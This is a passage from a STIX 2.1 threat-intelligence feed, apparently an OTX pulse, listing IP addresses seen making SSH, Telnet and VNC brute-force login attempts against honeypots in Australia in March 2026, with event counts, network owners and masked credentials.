      "id": "indicator--9808e63e-b082-467a-ad6d-bd2c2960d291",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.72.8.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): a*****!.",
      "id": "indicator--4e158c28-c5f0-4b35-bf45-a22044d30dbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--03ee4ae4-fb9a-479a-b62b-5d5c3faae80c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.55.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 50304. Organisation(s): Blix Solutions AS. Usernames observed (masked): a***n. Passwords observed (masked): 9**************************************6.",
      "id": "indicator--a88b4c1d-c728-4b85-a4ce-3381ab287511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.138.7.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): a***n. Passwords observed (masked): 9**************************************6.",
      "id": "indicator--3164af43-bd51-405d-8d04-34e0baf8712b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.32.249.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): 3**********4, b******s, u********p, a**s, **. Passwords observed (masked): 1***5, 3***********4, 3**********4, 1******8, H******!.",
      "id": "indicator--1344dd12-b415-4525-8b15-d1dd78c49e4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--806452b8-f01a-462c-be6e-04f730207980",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:15:13.000Z",
      "valid_until": "2026-04-18T17:15:11.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): 3**********4, a******r, *, j**a, **. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**4, 1***5.",
      "id": "indicator--cdf369ed-d90c-4234-89d9-62d2939e3675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): c****t, **, m****r. Passwords observed (masked): c********!, c****s, p******d.",
      "id": "indicator--3214b52c-a5bc-4045-aa7a-6a6122c458f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.164.66.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--ef202c98-dc29-4388-ab55-e670f81b3091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.19.53.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network. Usernames observed (masked): **, *, j**a, s****n, t**t. Passwords observed (masked): 1****6, 1**4, a****s, j******4, y*****!.",
      "id": "indicator--17ae42a3-4286-48fe-9ba9-c061676b04d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.229.191.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4, ***, f*****t, f******2. Passwords observed (masked): 1******8, 1****0, 1***5, 3***********4, 3**********4.",
      "id": "indicator--920fc964-d4fb-44cc-b140-9cceea7ec9f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.160.30.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, a******r, *, **, *. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1**4, 1***5.",
      "id": "indicator--e51d4f90-ff35-4178-8d18-5a82ee66aafe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.131.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): 3**********4, a******r, *, j**a, ***. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**4, 1***5.",
      "id": "indicator--6656ed27-4fdc-4ad9-b0ad-8291aa337144",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '155.4.245.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--dca1f7d8-4c40-4de5-897f-0bc77c55e931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28635. Organisation(s): AVATO TECNOLOGIA S.A.",
      "id": "indicator--08a086a9-04c2-4e66-80ac-a084c1fd3bd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.71.152.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 4717. Organisation(s): WIDE Project. Usernames observed (masked): r**t, 3**********4, a******3, ***, ***. Passwords observed (masked): 3***********4, 3**********4, !******5, 1******2, ***.",
      "id": "indicator--739e669c-26ff-4458-8aa2-a4f56ee49666",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.249.25.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--010274b6-72f1-44ea-a0b1-97d7bad7c3d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T18:15:14.000Z",
      "valid_until": "2026-04-18T18:15:12.000Z"
    },
    {
      "created": "2026-03-17T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): 1******8, h******d, o*****e.",
      "id": "indicator--9b1d7a8e-33db-4382-80e0-231634ad8425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:15:13.000Z",
      "valid_until": "2026-04-18T19:15:11.000Z"
    },
    {
      "created": "2026-03-17T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--904ff349-5cb8-4e26-a7a8-d339bef9bd15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:15:13.000Z",
      "valid_until": "2026-04-18T19:15:11.000Z"
    },
    {
      "created": "2026-03-17T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:15:13.000Z",
      "valid_until": "2026-04-18T19:15:11.000Z"
    },
    {
      "created": "2026-03-17T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--cd22e8fd-3fbb-43c4-b380-d77790e1e599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:15:13.000Z",
      "valid_until": "2026-04-18T19:15:11.000Z"
    },
    {
      "created": "2026-03-17T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ff494f20-1100-4cc3-90a4-454149bcbcaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.39.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:15:14.000Z",
      "valid_until": "2026-04-18T20:15:12.000Z"
    },
    {
      "created": "2026-03-17T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--12686d89-9843-4e05-9dc9-036294b22b66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.150.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:15:14.000Z",
      "valid_until": "2026-04-18T20:15:12.000Z"
    },
    {
      "created": "2026-03-17T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, w*******s, 3**********4, a***t, e***y. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, A******6.",
      "id": "indicator--cd76e93d-48df-4f65-99cb-35b16cf4af8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.194.129.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:15:14.000Z",
      "valid_until": "2026-04-18T20:15:12.000Z"
    },
    {
      "created": "2026-03-17T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--c71a7994-7640-45b5-9752-8e9506c4663e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.130.154.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:15:14.000Z",
      "valid_until": "2026-04-18T20:15:12.000Z"
    },
    {
      "created": "2026-03-17T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--af1eb9da-9045-49a7-83ea-879b36e858e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.172.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:15:14.000Z",
      "valid_until": "2026-04-18T20:15:12.000Z"
    },
    {
      "created": "2026-03-17T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19108. Organisation(s): Optimum.",
      "id": "indicator--cf0845dc-5a2a-4c75-a5c8-1b8c8f72753a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.211.42.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:15:14.000Z",
      "valid_until": "2026-04-18T20:15:12.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--df90ff55-c511-4ba8-80bd-28c79f0ff286",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.37.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141998. Organisation(s): China Telecom. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, A*******..",
      "id": "indicator--9c64f384-d469-4c56-9464-d96b81182296",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.74.128.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, a*****d, ***, f******2. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--0cd6f6b7-c6d3-4177-a6e2-01cb5cd587ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.174.72.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--64b0efaf-5441-437a-bccf-be21eaa73b7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation.",
      "id": "indicator--413af945-1597-4f21-8fed-3896f86e0a66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.5.189.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--468230a8-b0e8-4d72-9d14-8c2853f5ae88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
